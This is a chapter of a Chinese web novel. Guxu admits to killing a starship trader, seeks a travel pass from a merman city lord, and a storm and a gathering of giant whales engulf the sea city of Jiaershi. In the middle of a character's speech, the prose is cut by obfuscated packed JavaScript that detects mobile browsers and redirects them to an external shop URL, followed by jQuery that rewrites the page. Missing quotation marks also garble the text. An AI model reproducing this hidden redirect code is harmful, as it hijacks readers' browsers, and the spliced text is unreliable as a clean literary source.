“夜安。”


    谷绪进入城堡大厅,在桌边拉开一张椅子坐下。椅脚在地面摩擦，发出细微的声响，短暂在空间内回荡。


    他的衣袖上残留几滴血,源自霍菲尔德的黑蟒。从酒馆返回城主府,一路上海风吹拂,血腥味已经很淡，却未能彻底消散。


    此刻坐在鲛人城主的古堡内,残存的气息飘散开,被古老的力量排斥,异变突然发生。


    穹顶浮出光影,浮雕幻化成海族幽灵,接连挣脱束缚,从高处直扑向谷绪。


    幻象在他周围游荡，发出刺耳的尖啸，灰白透明的身体变形拉长，尖锐的爪子袭向谷绪双眼，距离半寸再无法靠近。


    森冷的力量萦绕四周，空气中依稀飘散着海水的咸味。


    谷绪没有闪避，他甚至一动不动，冷漠地面对这一切。漆黑的眼底波澜不兴,清晰映出袭来的光影。


    南希站在谷绪身侧，克制住没有发动攻击。


    她的双手负在身后，手腕交叠,两只手背覆上棕红色甲壳，已然变作屠杀的利刃。


    “费岚,适可而止。”


    严珣的声音带着警告,不似往日温和。强大的精神力向外扩散,幻象受到压制，接连退回到建筑内，重新融入浮雕。


    谷绪抓住最后的海族，手指缓慢收拢，源于城堡的能量被他吸收，尽数融入他的体内。


    古老，纯粹，诱发更多渴望。


    谷绪翻过掌心，几缕微光沿着指尖流入，短暂凝聚爆发，旋即彻底湮灭。


    大厅内恢复平静，仿佛一切都没有发生。


    短暂的交锋看似一场意外，实则是早有预谋的试探。


    “黑蟒的气味，只有黑海蛇会饲养它们。”费岚隔着长桌看向谷绪，随手点开光屏，图像投影在三人面前，立体展示出治安员拍摄的酒馆三楼。


    “城中死了一名商人，黑海蛇霍菲尔德，专门做飞船生意。”


    “我做的。”谷绪没有任何掩饰，抛出霍菲尔德的通讯器，“他试图抓捕我，可惜没成功。”


    通讯器顺着桌面滑过，恰好停在严珣和费岚之间。


    “抓捕你？”


    “没错。”谷绪倾身靠向桌沿，指着被严珣拿起的通讯器，“这里面有一份悬赏令，由第一区议会签发。只要能抓住我，星盗照样能领取赏金。”


    通讯器需要指纹验证，或是秘钥才能开启。


    这对严珣不成问题。


    他随意摆弄两下，一股电流流入小巧的装置，两秒后屏幕亮起，透明的光屏在他


    面前展开。


    修长的手指在屏幕上滑动很快找到谷绪口中的悬赏令。照片文字丰厚的赏金数额以及具有象征意义的签名。


    严珣凝视屏幕中的半身像眼底闪过一抹暗色。


    黑发少年气质温润目光清澈想必是在关爱中长大。对比如今的谷绪仿佛光与暗气质天差地别。很难相信在一年时间内一个人会产生如此巨大的变化。


    压下一闪而过的情绪他将屏幕转向费岚问道：“你知道这件事吗？”


    “不清楚。”费岚摇摇头表情有细微变化。


    “看来有些渠道并不可靠。”严珣不仅在陈述事实更是在提醒费岚。


    “是我的疏忽。”费岚没有争辩痛快承认过失。


    谷绪耐心有限他用指尖轻击桌面直截了当开口：“霍菲尔德十分贪婪他妄图独吞赏金。在我杀死他之前城内没有第二个人知道这件事。不过今夜之后悬赏令不会再是秘密。”


    对于他的推断严珣和费岚都表示认可。


    “所以我需要一张通行令。”谷绪继续说道。


    议会悬赏的金额是一个天文数字赏金猎人和星盗会像闻到血腥味的鲨鱼一样扑来。


    谷绪不惧怕任何对手却厌烦源源不断的麻烦。在更多亡命之徒出现之前他要尽快动身前往第六区以免再横生枝节。


    他的要求令费岚始料未及。


    “只是这样？”


    “只是这样。”


    谷绪认为这很简单对双方都有好处。只需要费岚签署一道命令他就能立刻动身加尔什城也不必应付更多麻烦。


    “我会签署文件不过今夜海上有风暴我个人建议你迟一些再动身。”费岚没有敷衍谷绪


    不同于契卡镇长开具的身份证明加尔什城发下的文件更加正式可以在各区通用。


    窗外风声大作清凉的夜风陡然变得迅猛。


    夜色下漆黑的海面翻卷巨浪浪高超过百米层叠压向孤悬海上的加尔什城。


    城市边缘遭遇海水倒灌占据六芒星一角的城主府首当其冲。


    飓风侵袭半海妖们变得兴奋。她们无法起飞赤足在花园中奔跑任由衣裙在风中撕扯发出古怪的尖啸。


    风暴之夜海妖会浮出深海捕猎。


    半海妖有别于祖先不再遵循古老的生存方式基因中的烙印却不会消失。她们在暗夜下歌唱歌颂海上的暴风雨


    。


    歌声回荡在城主府的花园中，继而随风送出，飘旋于海上，经久不散。


    听到半海妖的歌声，费岚的眉心微微一皱。


    身为加尔什之主，他有责任守护这座城市。


    今夜的风暴不同寻常，暗月或比往年提前，他需要亲自坐镇指挥，确保整座城市的安全。


    “失陪一下。


    费岚起身离开大厅，华丽的外套下摆垂过膝盖，走到门前时被风吹起，翻出刺绣精美的内里，是一朵朵鲜艳的玫瑰。


    严珣靠坐在桌旁，单手撑着下巴，端起酒杯轻轻摇晃。


    在谷绪与费岚敲定通行令时，他一直保持沉默，没有发表任何意见。直至费岚起身离开，谷绪也作势要返回房间，他才开口留住对方。


    “喻非的质询没有结束，第一区不会公开发出通缉令。单独对你发出悬赏，这件事非比寻常。你选择独行，会遇上很大的麻烦。


    “我明白。


    “请原谅，我了解过你的相关资料，包括入狱前的经历以及因何入狱。严珣放下酒杯，指尖轻弹杯脚，视线迎上谷绪，“如果你返回第六区，极可能落入陷阱。


    “设置陷阱需要诱饵，这个诱饵正是我所需要的。谷绪起身站到高背椅旁，手指握住椅背边缘，指甲刮擦发出细微声响，但没有留下划痕。


    捕猎需要诱饵，一个最朴素的道理。


    谷绪计划复仇，如果目标有所警觉，难保不会提前藏匿起来。


    议员们想要抓住他，果真为此设下陷阱，期待他主动踏进去，就必须保证诱饵真实存在。


    “千方百计找到目标再杀死他们，或者闯入陷阱吃掉诱饵，我认为后者更加简单。谷绪将高背椅推回原位，感谢过严珣的提醒，转身返回休息的客房。


    南希跟在他身后，脚步轻盈，一直不声不响。


    严珣目送谷绪的背影，视线扫过被遗忘的通讯器，忽然勾唇一笑。


    紫罗兰色的双眼溢满温柔，柔和背后却隐藏疯狂。两种极端完美融合，几近病态，具有致命的吸引力。


    云霁和伽罗走进大厅，恰好撞见这一幕。


    前者表情如常，没表现出任何异样。后者不自觉缩了缩脖子，分明有些害怕。


    “阁下，密令发出，多数领地回复，五座城暂时没有消息。


    云霁走到严珣身边，肩膀有些湿，发上犹带着水汽。


    伽罗跟在他身后，异乎寻常地沉默，与平日里的活跃大相径庭。他有极强的警惕性，什么时


    候可以开口，什么时候应该闭嘴，他分辨得相当清楚。


    “风暴突如其来，今年的暗月很可能提前。”严珣没有询问更多，而是提及今夜的暴风雨，“假设暗月提前到来，至多七天后，加尔什将沉入海底。”


    云霁和伽罗对视一眼，表情同样严肃。


    “如果真是这样，我们需要提前动身。”


    “没错。”


    严珣将酒杯推至一旁，侧头看向窗外，恰遇海上掀起龙卷风，狂风催动浪涌，声势惊人。


    云霁迟疑片刻，提出心中的担忧：“阁下，时间仓促，舰队成员尚未聚集，您的家族也未传回消息。”


    “无妨。”严珣单手撑着脸颊，视线眺望窗外，眼底酝酿更加猛烈的风暴，“安德烈至今没有签发通缉令，想必是顾虑重重。荷斯和伊戈尔去了第二区，维米尔家族不会让议会空闲，安德烈注定焦头烂额。我们有充足的时间，不需要感到焦虑。”


    “您说得对，是我多虑了。”


    “至于我的家族，自从我入狱，有些人妄图篡权，私下里没少动作。不过就目前来看，实在能力堪忧。”严珣轻声笑了，笑对手的愚蠢和无能，蠢到令他感到无趣。


    “我给了他们时间，可惜至今没有长进。”


    笑声停止，他挽过一缕发丝，银色在指间缠绕，流动的光泽近乎锐利。


    “伽罗，有件事交给你。”


    “啊？是！”突然被点名，伽罗匆忙反应过来，从云霁身后探头，“阁下要我做什么？”


    “去星耀城，清理那座城市。”


    清理城市？


    伽罗眨了眨眼，是他想的那样？


    “没错，就是你想的那样。”严珣微微笑着，周身浮现白光，真实的圣洁，虚伪的仁慈，美妙的声音中浸染血腥，“铲除背叛者，取回我的领地，明白吗，我的羽蛇。”


    “如您所愿，阁下。”


    伽罗深深弯腰，笑容明亮欢快。


    年轻的羽蛇舔舐毒牙，为即将到来的杀戮兴奋，期待双手染满鲜血。


    城堡外狂风肆虐，花圃凋零。盛放的玫瑰遭遇摧残，花瓣揉碎在风中，暗红散落遍地。


    海浪滔天，天空降下暴雨，转眼势成瓢泼，覆盖整座城市。


    商业街中的酒馆和旅店家家爆满，过路的船员和旅客都在开怀畅饮。


    暴风雨不会马上停止，他们今夜注定无法起航，大可以放心喝个痛快，不必担心睡过头错过时间。


    伊斯特的酒馆热闹非凡。


    客人


    络绎不绝，不认识的人互相拼桌，吧台前全部坐满。


    空气中弥漫着酒气，还有水汽不断飘入，混合成一股潮湿的气味，不算难闻，但令人感到粘腻。


    伊斯特在吧台后忙碌，数只机械手从头顶降下，帮忙擦拭酒具，从架中取出不同的酒。


    八爪机器人在地上穿梭，送酒还算及时，仍能听到客人不满的抱怨。好在仅是抱怨，没有人借机耍酒疯。


    “之前抓走不少人，现在还关在水牢里。”


    “今夜城里死了一个大商人，黑海蛇们全都疯了。”


    “老实点，别惹麻烦，否则谁都救不了你。”


    “死的是谁？”


    “霍菲尔德，最贪婪的家伙。”


    “说起他，我听到一些消息……”


    话题集中在霍菲尔德身上，关于他的名声，他的生意，以及他可能的死因，各种小道消息汇总，内容夸张且相当精彩。


    飞船商人沦为酒桌上的谈资，没有人为他的死感到惋惜。


    在加尔什城内，黑海蛇的名声相当糟糕。他们天生拥有两张面孔，性格贪婪狡诈，手段下作无耻，被许多种族排斥。霍菲尔德的死令黑海蛇成为一盘散沙，一段时间内不能再仗势欺人。


    对此，多数人拍手称快。


    这其中就有仓鼠人。


    莫斯冒雨出现在酒馆门外，在门前抖掉身上的雨水，确定不会打湿地板，才推门走了进去。


    进入室内的一瞬间，热气扑面而来，驱散风雨带来的湿冷。


    “劳驾，让一让。”


    仓鼠人个头矮小，在高大的岩石人和兽人之间穿行需要格外小心，以免被对方踩一脚，或是被胳膊肘撞到。对方未必是故意，但会让他疼上好一会。


    从酒馆大门到吧台，短短一段路，莫斯足足挤了十分钟。


    他努力挣脱人群出现在吧台边缘，单手搭在台面上，试图让伊斯特注意到自己。


    “伊斯特，是我！”


    “莫斯？”


    八爪机器人送回空的酒杯，伊斯特正好向外探身，见到在吧台外蹦跳的仓鼠人。


    有一名客人付钱离开，他拉住莫斯的胳膊，将仓鼠人提到空出的位置上，照例摆出一盘食物，外加一小杯甜酒。


    “伊斯特，那个人，你让我盯着的那个，很可能是他杀了黑海蛇。”莫斯向嘴里塞满食物，压低声音道出自己的发现。


    伊斯特不动声色，没有表现出半分惊讶。他将酒杯滑过吧台，继续问道：“还有别的消息吗？”


    “我的兄弟看到他离开商业街，和虫族美人走进城主府。莫斯挖起一大口谷物，送进嘴里咀嚼。


    “城主府？


    “是的。


    莫斯的兄弟一路跟过去，发现谷绪和南希进入城主的府邸。害怕被守卫逮住，他不敢继续再跟，只能原路返回。


    伊斯特放下酒瓶，侧头看一眼二楼入口，点开通讯器给梅丽发出一条消息。


    莫斯看到他的动作，聪明地什么也没说，专心致志享用食物。


    仓鼠人最喜欢用肉汁炖煮的豆子，夹在面包里味道一绝。剩下的汤汁铺在盘底，他控制不住想去舔盘子。


    等他全部吃光，盘子干净得发亮，简直像是洗过。


    按照谈好的酬劳，伊斯特又给他两枚晶币。


    莫斯犹豫再三，依依不舍地还回去一枚，闷声道：“城主府是禁地，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13093047|121050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我们不能冒险靠近。这笔生意恐怕不能再做下去。


    仓鼠人的确爱钱，但他们天性谨慎，不会像黑海蛇一样为钱不要命，最终为晶币丢掉脑袋。


    “我理解。


    “太感谢了！莫斯心情激动，仍不忘压低音量。


    眼见酒馆里的客人越来越多，他不能再占着吧台前的座位，识趣地跳下来告辞，又一次艰难地穿过人群，推门走入风雨之中。


    狂风骤雨笼罩加尔什城，黑云压向海面，天地似要闭合，恍如世界末日将要来临。


    城中道路上人迹罕至，只有雨水不断汇聚，对冲倒灌的海水，在城内立起一座座水墙。


    航空港内，费岚亲自坐镇指挥。


    地勤人员在大厅内奔跑，机器人接受指令，以最快的速度疏散人群。


    待到最后一批旅客离开，再不见飞船降落，费岚下令关闭航空港，开启城市防护罩。


    “启动能源。


    航空港分为地上建筑和地下区域。


    地上建筑由大厅、塔台、停机坪和跑道组成，大厅外直连一座广场。地下区域十分神秘，空间内安放以加尔什命名的智脑，轻易不会对外开放。


    伴随着命令下达，城内几条主干道渐次亮起。


    光影交错穿梭，以航空港为中心组成一枚六芒星图案，覆盖整座海上城市。


    光芒越来越亮，六芒星脱离地面向上浮起，透明的光墙矗立在城市边缘，如同坚实的岩壁隔绝暴雨狂风，阻挡翻滚的海浪。


    强光


    辐射海面，撕裂暗夜。


    巨大的暗影浮出海底，游弋在城市周围，迟迟不肯离去。


    随着暗影游动，水下形成流动的漩涡，漏斗状套住加尔什城，仿佛海洋张开巨口，要吞噬掉整座城市。


    狂风被隔绝，暴雨消失无踪。


    人群重新聚集到街道上，商业街又变得熙熙攘攘。


    陆续有人留意到海上异状，初见者受到惊吓，顿时惊慌不已，加尔什人和老练的船员却满不在乎，没有表现出任何畏惧。


    “那是巨鲸，它们喜好追逐光，食物是海里的小鱼。


    “别看个头大，其实它们很温顺。


    “数千年前，鲛人曾与它们联手对抗海兽，那一战撰写成史诗，至今在加尔什城流传……


    巨鲸被光吸引，数量不断增多。


    鲸群的叫声传来，浑厚低沉，充满神秘感。它们的声音毫无敌意，反而像在安慰这座城市，保护海洋之城中的居民。


    巨鲸的歌声持续许久，越来越多的人驻足聆听，在声音中获得平静。


    这其中却不包括里昂和莱格一行人。


    此刻，他们正坐在一家酒馆里，为接下来的行程发愁。


    他们在斗兽场赚足晶币，通过中介商提供的线索找到黑海蛇开设的酒馆，打算购买一艘飞船。


    十分不幸，他们来到酒馆时，霍菲尔德已经变成亡魂，酒馆里的黑海蛇集体发狂，不顾一切要抓到凶手。


    购买飞船的计划泡影，五人只能再去找中介商。不承想暴风雨来临，除了酒馆和旅店，多数店铺提前关门，中介商们也不例外。


    “买不到飞船，我们只能去买船票。


    非到万不得已，他们不想登上载客飞船。万一在人群中泄露身份，处境会相当糟糕。


    “或许，我们可以联络南希。


    “南希？


    “是的。


    里昂搓着下巴，回想在斗兽场内的惊鸿一瞥。


    他确定自己没看错，那个坐在看台上的黑发少年，正是折断他胳膊的可怕家伙。南希和他同时出现在斗兽场，绝不可能是巧合。


    “南希进入斗兽场，八成也是为了赚钱购买飞船。或许她手里有更多资源。我们可以用晶币交换，多付些也没关系。


    里昂的想法看似异想天开，却有一定执行性。


    几人凑在一起商量，都认为可以试一试。


    “天亮之后，我们设法联络她。


    “航空港已经关闭，今夜没有飞船会出港。


    大家抓紧休息，离开加尔什后，不知什么时候才能再睡个好觉。”


    乌韦的话使几人陷入沉默。


    加尔什城内太过自由，他们几乎要忘记自己是个逃犯。


    “好了，都去休息。”安娜率先振作起精神，分别拍了拍几个男人的肩膀，催促他们去订好的房间休息。


    等到四人离开，她也登上二楼，走进自己的客房。


    房门关闭，安娜靠在门后，抬手敲了敲额头。


    “南希，她应该摆脱了狂化。”


    斗兽场内的南希战斗力惊人，绝非陷入狂化失去理智的模样。


    不知代价是什么？


    困倦突然涌上，安娜反手锁紧房门，走向床铺仰面躺倒。


    房间里十分干净，被褥也很柔软，感受不到一点潮气。


    安娜的大脑逐渐放空，被睡意彻底掌控。


    在沉入梦境之前，她为南希感到高兴。不管需要付出什么，至少行军蚁性命无忧，精神看上去也很不错。


    总体而言，应该是一件好事。


    城主府内，南希并不知道自己正被惦记。她合衣躺在床上，在巨鲸的歌声中睡得很香。


    一墙之隔，谷绪却了无睡意。


    他被巨鲸的歌声吸引，起身走到窗边，正准备推开窗扇，敲门声忽然响起。


    声音不轻不重，十分有规律。


    谷绪收回按住窗棱的手，转身走向门边，抬手拉开房门。


    走廊内光线明亮，浮雕彩绘贯通墙体，奢侈华贵。


    然而，最耀眼的却是站在他门前的男人。


    银亮的长发，柔和的眼眸，华丽的外套刺绣暗纹，周身氤氲圣洁的白光，笑容醉人。


    “夜安。”严珣向谷绪颔首，发丝随着他的动作流淌，与立领上的暗纹交相辉映。他手中是一枚小巧的通讯器，金属表面雕刻蛇纹，原本属于霍菲尔德。


    “我想你忘记了这个。”


    谷绪面无表情，灯光落在他身上，不见丝毫情绪波动。


    “多谢。”


    他接过通讯器，正打算关闭房门，不想门被一只手抵住。


    “我想和你谈一谈，方便进去吗？”严珣微微低头，笑容无害，不具有任何攻击性。


    “不方便。”


    谷绪直觉对方会带来麻烦，在严珣面露错愕时，当着他的面关闭房门。


    砰的一声，银发指挥官被明确拒绝。


    艾德利亚和白岩结伴归来，不巧遇见这一幕场景。彼此相顾一眼，果断脚跟一转退出走廊。


    他们什么都不知道，也什么都没有看见。


    作者有话要说